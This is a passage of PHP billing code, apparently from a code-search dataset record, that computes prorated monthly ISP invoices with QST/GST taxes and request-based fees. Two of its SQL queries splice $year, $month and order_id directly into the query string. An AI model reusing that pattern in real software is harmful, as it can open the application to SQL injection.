PHP_ROUND_HALF_UP);\n\t\t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n\t\t\t\t\t\t$monthInfo[\"total_price\"]=0;\n\t\t\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t\t\t$monthInfo[\"days\"]=$startEndRecurringDate[\"start_date\"]->diff($startEndRecurringDate[\"end_date\"])->days;\n\t\t\t\t\t\t$monthInfo[\"action\"]=\"recurring\";\n\t\t\t\t\t\t$monthInfo[\"from\"]=\"recurring\";\n\t\t\t\t\t\t$monthInfo[\"action_on_date\"]=$startEndRecurringDate[\"start_date\"]->format('Y-m-d');\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t$product_price=(float)$request_row[\"product_price\"];\n\t\t\t\t\t$totalPriceWoT=$product_price;\n\n\t\t\t\t\t$qst_tax=$totalPriceWoT*0.09975;\n\t\t\t\t\t$gst_tax=$totalPriceWoT*0.05;\n\n\t\t\t\t\t$totalPriceWT=$totalPriceWoT+$qst_tax+$gst_tax;\n\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n\n\t\t\t\t\t$monthInfo[\"product_price\"]=round($request_row[\"product_price\"],2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"additional_service_price\"]=0;\n\t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\t\t\t\t\t$monthInfo[\"plan\"]=$order_row[\"plan\"];\n\t\t\t\t\t$monthInfo[\"modem\"]=$order_row[\"modem\"];\n\t\t\t\t\t$monthInfo[\"router\"]=$order_row[\"router\"];\n $monthInfo[\"static_ip\"]=$order_row[\"static_ip\"];\n\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n $monthInfo[\"static_ip_price\"]=0;\n\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n\t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t\t\t$monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"gst_tax\"]=round($gst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n\t\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t\t$monthInfo[\"days\"]=$startEndRecurringDate[\"start_date\"]->diff($startEndRecurringDate[\"end_date\"])->days;\n\t\t\t\t\t$monthInfo[\"action\"]=\"recurring\";\n\t\t\t\t\t$monthInfo[\"from\"]=\"recurring\";\n\t\t\t\t\t$monthInfo[\"action_on_date\"]=$startEndRecurringDate[\"start_date\"]->format('Y-m-d');\n\t\t\t\t\t}\n\t////////////////// end update month info\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n///////////////// get month info from order\n\t\t\t$remaining_days=(int)$start_active_date->format('t')-(int)$start_active_date->format('d')+1;\n\t\t\t$startSubscriptionYearlyDate=new DateTime($recurring_date->format('Y').\"-\".$recurring_date->format('m').\"-\".$recurring_date->format('d'));\n\t\t\t$interval = new DateInterval('P1Y');\n\t\t\t$startSubscriptionYearlyDate->sub($interval);\n\n\t\t\t$yearDays=$recurring_date->diff($startSubscriptionYearlyDate)->days;\n\n $oneDayPrice=(float)$orderChild[\"product_price\"]/(int)$yearDays;\n $oneDayPriceRouter=(float)$orderChild[\"router_price\"]/(int)$yearDays;\n $oneDayPriceStaticIP=(float)$orderChild[\"static_ip_price\"]/(int)$yearDays;\n $oneDayPriceAdditionalPrice=(float)$orderChild[\"additional_service_price\"]/(int)$yearDays;\n\n $remaining_days_price=$oneDayPrice*$remaining_days;\n $remaining_days_price_router=$oneDayPriceRouter*$remaining_days;\n $remaining_days_price_static_ip=$oneDayPriceStaticIP*$remaining_days;\n $remaining_days_price_additional_price=$oneDayPriceAdditionalPrice*$remaining_days;\n\n $remaining_days_price_all=$remaining_days_price+$remaining_days_price_router+$remaining_days_price_additional_price+$remaining_days_price_static_ip;\n\n\t\t\t$product_price=(float)$orderChild[\"product_price\"];\n\t\t\t$additional_service_price=(float)$orderChild[\"additional_service_price\"];\n\t\t\t$setup_price=(float)$orderChild[\"setup_price\"];\n\t\t\t$modem_price=(float)$orderChild[\"modem_price\"];\n\t\t\t$router_price=(float)$orderChild[\"router_price\"];\n $static_ip_price=(float)$orderChild[\"static_ip_price\"];\n\t\t\t$adapter_price=(float)$orderChild[\"adapter_price\"];\n\n\t\t\t/*\n\t\t\techo \"</br> remaining_days_price: \".$remaining_days_price;\n\t\t\techo \"</br> product_price: \".$product_price;\n\t\t\techo \"</br> additional_service_price: \".$additional_service_price;\n\t\t\techo \"</br> setup_price: \".$setup_price;\n\t\t\techo \"</br> modem_price: \".$modem_price;\n\t\t\techo \"</br> router_price: \".$router_price;\n\t\t\techo \"</br> adapter_price: \".$adapter_price;\n\t\t\t*/\n $totalPriceWoR=$remaining_days_price_all+$product_price;\n\t\t\t$totalPriceWoT=$totalPriceWoR+$additional_service_price+$setup_price+$modem_price+$router_price+$adapter_price+$static_ip_price;\n\n\t\t\t$qst_tax=$totalPriceWoT*0.09975;\n\t\t\t$gst_tax=$totalPriceWoT*0.05;\n\n\t\t\t$totalPriceWT=$totalPriceWoT+$qst_tax+$gst_tax;\n\t\t\t$totalPriceWT7=$totalPriceWT;\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoR,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT7,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"product_price\"]=(float)$orderChild[\"product_price\"];\n\t\t\t$monthInfo[\"additional_service_price\"]=$orderChild[\"additional_service_price\"];\n\t\t\t$monthInfo[\"setup_price\"]=$orderChild[\"setup_price\"];\n\t\t\t$monthInfo[\"modem_price\"]=$orderChild[\"modem_price\"];\n\t\t\t$monthInfo[\"router_price\"]=$orderChild[\"router_price\"];\n $monthInfo[\"static_ip_price\"]=$orderChild[\"static_ip_price\"];\n\t\t\t$monthInfo[\"plan\"]=$order_row[\"plan\"];\n\t\t\t$monthInfo[\"modem\"]=$order_row[\"modem\"];\n\t\t\t$monthInfo[\"static_ip\"]=$order_row[\"static_ip\"];\n\t\t\t$monthInfo[\"remaining_days_price\"]=round($remaining_days_price_all,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"remaining_days\"]=$remaining_days;\n\t\t\t$monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"gst_tax\"]=round($gst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"adapter_price\"]=$orderChild[\"adapter_price\"];\n\t\t\t$monthInfo[\"product_title\"]=$order_row[\"product_title\"];\n\t\t\t$monthInfo[\"days\"]=$recurring_date->diff($start_active_date)->days;\n\t\t\t$monthInfo[\"from\"]=\"order\";\n\t\t\t$monthInfo[\"action\"]=\"order\";\n\t\t\t$monthInfo[\"action_on_date\"]=$startEndRecurringDate[\"start_date\"]->format('Y-m-d');\n/////////////////// end get month infor from order\n\t\t\t}\n\n\n////////////////// check if there is any request before the selected date and after recurring or start active date, if yes get it's info incase the ordered date has also request in the same month to use this infor in calculation, if there is no request at the same month then neglect this request info\n\t\t\t$date = new DateTime($year.\"-\".$month.\"-01 00:00:00\");\n\t\t\t$monthDays= (int) $startEndRecurringDate[\"start_date\"]->diff($startEndRecurringDate[\"end_date\"])->days;\n\n\t\t\t//if($requestResult->num_rows===0)\n\t\t\t//{\n\t\t\t\t$requestResult = $this->query(\"SELECT * from requests where\n `action` in ('terminate','change_speed','moving','swap_modem') and\n\t\t\t\torder_id=\".$order_row[\"order_id\"].\"\n\t\t\t\tand\n\t\t\t\t(year(action_on_date) <\".$year.\"\n\t\t\t\tor (year(action_on_date) =\".$year.\" and month(action_on_date) <\".$month.\" ))\n\t\t\t\tand\n\t\t\t\t(year(action_on_date) >\".$startEndRecurringDate[\"start_date\"]->format('Y').\"\n\t\t\t\tor (year(action_on_date) =\".$startEndRecurringDate[\"start_date\"]->format('Y').\" and month(action_on_date) >\".$startEndRecurringDate[\"start_date\"]->format('m').\" ))\n\t\t\t\tand verdict = 'approve' order by action_on_date ASC\");\n\t\t\t//}\n\t\t\t$requests=array();\n\t\t\t$hasRequest=false;\n\t\t\t$temp=array();\n\t\t\t\t\t\t\t$temp[\"action_on_date\"]=$monthInfo[\"action_on_date\"];\n\t\t\t\t\t\t\t$temp[\"action\"]=$monthInfo[\"action\"];\n\t\t\t\t\t\t\t$temp[\"product_price\"]=$monthInfo[\"product_price\"];\n\t\t\t\t\t\t\t$temp[\"product_title\"]=$monthInfo[\"product_title\"];\n\t\t\t\t\t\t\t$temp[\"product_category\"]=$monthInfo[\"product_category\"];\n\t\t\t\t\t\t\t$temp[\"product_subscription_type\"]=$monthInfo[\"product_subscription_type\"];\n\n\t\t\t\t\t\t\tarray_push($requests,$temp);\n\n\t\t\twhile ($request_row = $this->fetch_assoc($requestResult)) {\n\t\t\t\t$hasRequest=true;\n\t\t\t\t$tempRequestChild = array();\n\t\t\t\t//$requestChild = array();\n\t\t\t\t$tempRequestChild[\"creation_date\"] = $request_row[\"creation_date\"];\n\t\t\t\t$tempRequestChild[\"action_on_date\"] = $request_row[\"action_on_date\"];\n\t\t\t\t$tempRequestChild[\"verdict_date\"] = $request_row[\"verdict_date\"];\n\t\t\t\t$tempRequestChild[\"verdict\"] = $request_row[\"verdict\"];\n\t\t\t\t$tempRequestChild[\"product_price\"]=$request_row[\"product_price\"];\n\t\t\t\t$tempRequestChild[\"action\"]=$request_row[\"action\"];\n\n\t\t\t\t$tempRequestChild[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t$tempRequestChild[\"product_category\"]=$request_row[\"product_category\"];\n\t\t\t\t$tempRequestChild[\"product_subscription_type\"]=$request_row[\"product_subscription_type\"];\n\n\n\t\t\t\t/*\n////////////////// update month info\n\t\t\t\tif($request_row[\"action\"]===\"terminate\")\n\t\t\t\t{\n\t\t\t\t$monthInfo[\"product_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"additional_service_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"setup_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"router_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"modem_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"remaining_days_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"qst_tax\"]=\"0\";\n\t\t\t\t$monthInfo[\"gst_tax\"]=\"0\";\n\t\t\t\t$monthInfo[\"adapter_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"total_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t$monthInfo[\"days\"]=\"0\";\n\t\t\t\t$monthInfo[\"action\"]=\"terminated\";\n\t\t\t\t$monthInfo[\"from\"]=\"request\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t$monthInfo[\"product_price\"]=$request_row[\"product_price\"];\n\t\t\t\t$monthInfo[\"additional_service_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"setup_price\"]=\"0\";\n\n\t\t\t\tif($monthInfo[\"router\"]!==\"rent\" )\n\t\t\t\t\t$monthInfo[\"router_price\"]=\"0\";\n\t\t\t\tif($monthInfo[\"modem\"]!==\"rent\" )\n\t\t\t\t\t$monthInfo[\"modem_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"remaining_days_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"qst_tax\"]=\"0\";\n\t\t\t\t$monthInfo[\"gst_tax\"]=\"0\";\n\t\t\t\t$monthInfo[\"adapter_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"total_price\"]=(float)$monthInfo[\"product_price\"]+(float)$monthInfo[\"modem_price\"]+(float)$monthInfo[\"router_price\"];\n\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t$monthInfo[\"days\"]=$monthDays;\n\t\t\t\t$monthInfo[\"from\"]=\"request\";\n\t\t\t\t}\n////////////////// end update month info\n*/\n\t\t\t\tarray_push($requests,$tempRequestChild);\n\t\t\t}\n\n\n///////////////// check if there is request in the same month as the requested date\n\n\t\t\t$requestResult = $this->query(\"SELECT * from requests where\n `action` in ('terminate','change_speed','moving','swap_modem') and\n\t\t\torder_id=\".$order_row[\"order_id\"].\"\n\t\t\tand (year(action_on_date) =\".$year.\" and month(action_on_date) =\".$month.\" )\n\t\t\tand verdict = 'approve' order by action_on_date\");\n\n\t\t\t$hasRequestInSameMonth=false;\n\t\t\twhile ($request_row = $this->fetch_assoc($requestResult)) {\n\t\t\t\t$hasRequestInSameMonth=true;\n\t\t\t\t$requestChild = array();\n\t\t\t\t$requestChild[\"creation_date\"] = $request_row[\"creation_date\"];\n\t\t\t\t$requestChild[\"action_on_date\"] = $request_row[\"action_on_date\"];\n\t\t\t\t$requestChild[\"verdict_date\"] = $request_row[\"verdict_date\"];\n\t\t\t\t$requestChild[\"verdict\"] = $request_row[\"verdict\"];\n\t\t\t\t$requestChild[\"product_price\"]=$request_row[\"product_price\"];\n\t\t\t\t$requestChild[\"action\"]=$request_row[\"action\"];\n\n\t\t\t\t$requestChild[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t$requestChild[\"product_category\"]=$request_row[\"product_category\"];\n\t\t\t\t$requestChild[\"product_subscription_type\"]=$request_row[\"product_subscription_type\"];\n\n\n\n////////////////// update month info\n\t\t\t\t$this_action_on_date = new DateTime($request_row[\"action_on_date\"]);\n\t\t\t\t$recurring_date = new DateTime($orderChild[\"recurring_date\"]);\n\t/////////////////////////// check if this request is made after the 1st day in month or made before the first recurring_date\n\n//// this condition take care of the folloing scenarios :\n////// 1- request made \tis made after the 1st day in month and has previous request\n////// 2- request might happened in any day of the month but it happened before the first recurring_date\n////// so in both scenario we have to calculate and split the price in to two periods\n////// assuming only one request or order in month, and assuming if order made after the 1st day then the remaining days price in already count and product price is for full month\n\t\t\t\t/*if($request_row[\"action\"]===\"terminate\")\n\t\t\t\t{\n\t\t\t\t$monthInfo[\"product_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"additional_service_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"setup_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"router_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"modem_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"remaining_days_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"qst_tax\"]=\"0\";\n\t\t\t\t$monthInfo[\"gst_tax\"]=\"0\";\n\t\t\t\t$monthInfo[\"adapter_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"total_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t$monthInfo[\"days\"]=$monthDays;\n\t\t\t\t$monthInfo[\"action\"]=\"terminated\";\n\t\t\t\t$monthInfo[\"from\"]=\"request\";\n\t\t\t\t}\n\t\t\t\telse*/\n\t\t\t\t{\n\t\t\t\t/*\n\t\t\t\tif( ( (int)$this_action_on_date->format('d')>1 && $hasRequest)\n\t\t\t\t\t||\n\t\t\t\t\t(\n\t\t\t\t\t\t(int)$recurring_date->format('Y') > (int)$year\n\t\t\t\t\t\t||\n\t\t\t\t\t\t((int)$recurring_date->format('Y') === (int)$year && (int)$recurring_date->format('m') > (int)$month)\n\n\t\t\t\t\t)\n\t\t\t\t)\n\n\t\t\t\t{*/\n\t\t\t\t\t$productPrices = array();\n\t\t\t\t\t\t\t$temp=array();\n\t\t\t\t\t\t\t$temp[\"action_on_date\"]=$requestChild[\"action_on_date\"];\n\t\t\t\t\t\t\t$temp[\"action\"]=$requestChild[\"action\"];\n\t\t\t\t\t\t\t$temp[\"product_price\"]=$requestChild[\"product_price\"];\n\t\t\t\t\t\t\tif($requestChild[\"action\"]===\"terminate\")\n\t\t\t\t\t\t\t$temp[\"product_price\"]=0;\n\t\t\t\t\t\t\t$temp[\"product_title\"]=$requestChild[\"product_title\"];\n\t\t\t\t\t\t\t$temp[\"product_category\"]=$requestChild[\"product_category\"];\n\t\t\t\t\t\t\t$temp[\"product_subscription_type\"]=$requestChild[\"product_subscription_type\"];\n\n\t\t\t\t\t\t\tarray_push($requests,$temp);\n\t\t\t\t\t\t\t$temp=array();\n\t\t\t\t\t\t\t$temp[\"action_on_date\"]=$startEndRecurringDate[\"end_date\"]->format('Y-m-d');\n\t\t\t\t\t\t\t$temp[\"action\"]=\"recurring\";\n\t\t\t\t\t\t\t$temp[\"product_price\"]=$requestChild[\"product_price\"];\n\t\t\t\t\t\t\t$temp[\"product_title\"]=$requestChild[\"product_title\"];\n\t\t\t\t\t\t\t$temp[\"product_category\"]=$requestChild[\"product_category\"];\n\t\t\t\t\t\t\t$temp[\"product_subscription_type\"]=$requestChild[\"product_subscription_type\"];\n\n\t\t\t\t\t\t\tarray_push($requests,$temp);\n\t\t\t\t\t\t\t//print_r($requests);\n\t\t\t\t\t\tfor($i=1;$i<sizeof($requests);$i++){\n\n\t\t\t\t\t\t\t$beginDate = new DateTime($requests[$i-1][\"action_on_date\"]);\n\t\t\t\t\t\t\t$endDate = new DateTime($requests[$i][\"action_on_date\"]);\n\t\t\t\t\t\t\t//echo \"beginDate->format('t') :\".$beginDate->format('d').\"</br>\";\n\t\t\t\t\t\t\t$periodInDaysPrevious=(int)$endDate->diff($beginDate)->days;\n\t\t\t\t\t\t\t$periodInDaysCurrent=(int)$startEndRecurringDate[\"end_date\"]->diff($endDate)->days;\n\t\t\t\t\t\t\t//if($i===1)\n\t\t\t\t\t\t\t\t//$periodInDays++;\n\t\t\t\t\t\t\t//echo \"periodInDays :\".$periodInDays.\"</br>\";\n\t\t\t\t\t\t\t$pricePerDayPrevious= (float)$requests[$i-1][\"product_price\"]/$monthDays;\n\t\t\t\t\t\t\t$pricePerDayCurrent= (float)$requests[$i][\"product_price\"]/$monthDays;\n\t\t\t\t\t\t\t//echo \"pricePerDay :\".$pricePerDay.\"</br>\";\n\t\t\t\t\t\t\t$periodPricePrevious=$periodInDaysPrevious*$pricePerDayPrevious;\n\t\t\t\t\t\t\t$periodPriceCurrent=$periodInDaysCurrent*$pricePerDayCurrent;\n\t\t\t\t\t\t\t//echo \"periodPrice :\".$periodPrice.\"</br>\";\n\t\t\t\t\t\t\tif($requests[$i][\"action\"]===\"terminate\"){\n\t\t\t\t\t\t\t\t$periodPriceCurrent=0;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$orderChildTemp = array();\n\t\t\t\t\t\t\t$orderChildTemp[\"beginDate\"] = $requests[$i-1][\"action_on_date\"];\n\t\t\t\t\t\t\t$orderChildTemp[\"endDate\"]=$requests[$i][\"action_on_date\"];\n\n\t\t\t\t\t\t\t$orderChildTemp[\"daysPrevious\"]=$periodInDaysPrevious;\n\t\t\t\t\t\t\t$orderChildTemp[\"daysCurrent\"]=$periodInDaysCurrent;\n\n\t\t\t\t\t\t\t$orderChildTemp[\"pricePrevious\"]=$periodPricePrevious;\n\t\t\t\t\t\t\t$orderChildTemp[\"priceCurrent\"]=$periodPriceCurrent;\n\n\t\t\t\t\t\t\t$orderChildTemp[\"pricePreviousActual\"]=$requests[$i-1][\"product_price\"];\n\t\t\t\t\t\t\t$orderChildTemp[\"priceCurrentActual\"]=$requests[$i][\"product_price\"];\n\n\t\t\t\t\t\t\tif($i+1===sizeof($requests))\n\t\t\t\t\t\t\t\t$orderChildTemp[\"priceDifference\"]=0;\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$orderChildTemp[\"priceDifference\"]=$periodPriceCurrent-((float)$requests[$i-1][\"product_price\"]-$periodPricePrevious);\n\n\t\t\t\t\t\t\t$orderChildTemp[\"action_previous\"]=$requests[$i-1][\"action\"];\n\t\t\t\t\t\t\t$orderChildTemp[\"action_current\"]=$requests[$i][\"action\"];\n\n\t\t\t\t\t\t\t$orderChildTemp[\"product_title_previous\"]=$requests[$i-1][\"product_title\"];\n\t\t\t\t\t\t\t$orderChildTemp[\"product_title_current\"]=$requests[$i][\"product_title\"];\n\n\t\t\t\t\t\t\t$orderChildTemp[\"product_category_previous\"]=$requests[$i-1][\"product_category\"];\n\t\t\t\t\t\t\t$orderChildTemp[\"product_category_current\"]=$requests[$i][\"product_category\"];\n\n\t\t\t\t\t\t\t$orderChildTemp[\"product_subscription_type_previous\"]=$requests[$i-1][\"product_subscription_type\"];\n\t\t\t\t\t\t\t$orderChildTemp[\"product_subscription_type_current\"]=$requests[$i][\"product_subscription_type\"];\n\n\t\t\t\t\t\t\tarray_push($productPrices,$orderChildTemp);\n\t\t\t\t\t\t}\n\n\n\t\t\t\t\t$orderChild[\"yearlyInvoice\"]=$productPrices;\n\n\n\n\t\t\t$totalPriceWoR=$productPrices[sizeof($productPrices)-2][\"priceDifference\"];\n\n $fees=0;\n if($productPrices[sizeof($productPrices)-1][\"action_previous\"]===\"terminate\")\n {\n $fees=82;\n }\n else if($productPrices[sizeof($productPrices)-1][\"action_previous\"]===\"moving\")\n {\n $fees=82;\n }\n else if($productPrices[sizeof($productPrices)-1][\"action_previous\"]===\"change_speed\")\n {\n $fees=7;\n }\n\n $totalPriceWoT=$totalPriceWoR+$fees;\n\n\t\t\t$qst_tax=abs($totalPriceWoT)*0.09975;\n\t\t\t$gst_tax=abs($totalPriceWoT)*0.05;\n\n\t\t\t$totalPriceWT=$totalPriceWoT+$qst_tax+$gst_tax;\n\n\t\t\t$totalPriceWT7=$totalPriceWT;\n\t\t\tif($productPrices[sizeof($productPrices)-2][\"action_current\"]!==\"terminate\")\n\t\t\t$totalPriceWT7=$totalPriceWT+7; // change speed fee\n\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoR,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT7,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"product_price\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"additional_service_price\"]=0;\n\t\t\t$monthInfo[\"setup_price\"]=0;\n\t\t\t$monthInfo[\"modem_price\"]=0;\n\t\t\t$monthInfo[\"router_price\"]=0;\n $monthInfo[\"static_ip_price\"]=0;\n\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t$monthInfo[\"remaining_days\"]=$productPrices[sizeof($productPrices)-2][\"daysCurrent\"];\n\t\t\t$monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"gst_tax\"]=round($gst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"adapter_price\"]=0;\n\t\t\t$monthInfo[\"product_title\"]=$productPrices[sizeof($productPrices)-2][\"product_title_current\"];\n\t\t\t$monthInfo[\"days\"]=$productPrices[sizeof($productPrices)-2][\"daysCurrent\"];\n\t\t\t$monthInfo[\"from\"]=\"request\";\n\t\t\t$monthInfo[\"action\"]=$productPrices[sizeof($productPrices)-2][\"action_current\"];\n\n\n\n\t\t\t\t\t/*\n\t\t\t\t\t$monthInfo[\"product_price_previous\"]=$productPrices[sizeof($productPrices)-1][\"pricePrevious\"];\n\n\t\t\t\t\t$monthInfo[\"product_price\"]=$productPrices[sizeof($productPrices)-1][\"priceCurrent\"];\n\t\t\t\t\t$monthInfo[\"product_price_difference\"]=$productPrices[sizeof($productPrices)-1][\"priceDifference\"];\n\n\t\t\t\t\t$monthInfo[\"days\"]=$productPrices[sizeof($productPrices)-1][\"daysCurrent\"];\n\t\t\t\t\t$monthInfo[\"days_2\"]=$productPrices[sizeof($productPrices)-1][\"daysPrevious\"];\n\n\n\t\t\t\t\t$monthInfo[\"product_title_2\"]=$productPrices[sizeof($productPrices)-1][\"product_title_current\"];\n\n\t\t\t\t\t$monthInfo[\"additional_service_price\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"setup_price\"]=\"0\";\n\n\t\t\t\t\tif($monthInfo[\"router\"]!==\"rent\" )\n\t\t\t\t\t\t$monthInfo[\"router_price\"]=\"0\";\n\t\t\t\t\tif($monthInfo[\"modem\"]!==\"rent\" )\n\t\t\t\t\t\t$monthInfo[\"modem_price\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"remaining_days_price\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"qst_tax\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"gst_tax\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"adapter_price\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"total_price\"]=(float)$monthInfo[\"product_price_difference\"];\n\t\t\t\t\t$monthInfo[\"from\"]=\"request\";\n\t\t\t\t\t*/\n\t\t\t\t\t/*\n\t\t\t\t}\n\t\t\t\telse{\n\n\t\t\t\t\t$monthInfo[\"product_price\"]=$request_row[\"product_price\"];\n\n\t\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t\t$monthInfo[\"days\"]=$monthDays;\n\n\t\t\t\t\t\t\t\t\t\t$monthInfo[\"product_title_2\"]=$request_row[\"product_title\"];\n\n\t\t\t\t\t$monthInfo[\"additional_service_price\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"setup_price\"]=\"0\";\n\n\t\t\t\t\tif($monthInfo[\"router\"]!==\"rent\" )\n\t\t\t\t\t\t$monthInfo[\"router_price\"]=\"0\";\n\t\t\t\t\tif($monthInfo[\"modem\"]!==\"rent\" )\n\t\t\t\t\t\t$monthInfo[\"modem_price\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"remaining_days_price\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"qst_tax\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"gst_tax\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"adapter_price\"]=\"0\";\n\t\t\t\t\t$monthInfo[\"total_price\"]=(float)$monthInfo[\"product_price\"]+(float)$monthInfo[\"modem_price\"]+(float)$monthInfo[\"router_price\"];\n\t\t\t\t\t$monthInfo[\"from\"]=\"request\";\n\t\t\t\t}*/\n\n\t\t\t\t}\n\n\n////////////////// end update month info\n\n\n\t\t\t\t//array_push($requests,$requestChild);\n\t\t\t}\n\t\t\t//echo \"first condition\".(int)$postDate->format('m').\"!==\".(int)$start_active_date->format('m').\"&&\".(int)$postDate->format('Y').\"!==\".(int)$start_active_date->format('Y');\n\t\t\tif(\n\t\t\t(!$hasRequestInSameMonth)&& // there are no requests\n\t\t\t!((int)$postDate->format('m')===(int)$start_active_date->format('m') && (int)$postDate->format('Y')===(int)$start_active_date->format('Y')) &&// and it is not start_active_date same month\n\t\t\t!((int)$postDate->format('m')===(int)$recurring_date->format('m') && (int)$postDate->format('Y')===(int)$recurring_date->format('Y')))// and it is not recurring_date same month\n\t\t\t{ // then value should be zero for all prices at this month\n $monthInfo[\"total_price_with_out_router\"]=0;\n\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=0;\n\t\t\t\t$monthInfo[\"total_price_with_tax\"]=0;\n\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=0;\n\n\t\t\t\t$monthInfo[\"product_price\"]=0;\n\t\t\t\t$monthInfo[\"additional_service_price\"]=0;\n\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\t\t\t\t$monthInfo[\"modem_price\"]=0;\n\t\t\t\t$monthInfo[\"router_price\"]=0;\n $monthInfo[\"static_ip_price\"]=0;\n\t\t\t\t$monthInfo[\"plan\"]=$order_row[\"plan\"];\n\t\t\t\t$monthInfo[\"modem\"]=$order_row[\"modem\"];\n\t\t\t\t$monthInfo[\"router\"]=$order_row[\"router\"];\n $monthInfo[\"static_ip\"]=$order_row[\"static_ip\"];\n\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t\t$monthInfo[\"qst_tax\"]=0;\n\t\t\t\t$monthInfo[\"gst_tax\"]=0;\n\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n\t\t\t\t$monthInfo[\"product_title\"]=$order_row[\"product_title\"];\n\t\t\t\t$monthInfo[\"days\"]=$startEndRecurringDate[\"start_date\"]->diff($startEndRecurringDate[\"end_date\"])->days;\n\t\t\t\t$monthInfo[\"from\"]=\"recurring\";\n\t\t\t\t$monthInfo[\"action\"]=\"recurring\";\n\t\t\t}\n\n\t\t\tarray_push($monthsInfo,$monthInfo);\n\t\t\t$orderChild[\"requests\"]=$requests;\n\t\t\t$orderChild[\"monthInfo\"]=$monthsInfo;\n\n\t\t\tarray_push($orders,$orderChild);\n\t\t}\n\treturn $orders;\n\t}", "title": "" }, { "docid": "4a20656c94fd8c9c9fff26fe00efe578", "score": "0.5463195", "text": "public function getMonthlyCloudCredits()\n {\n 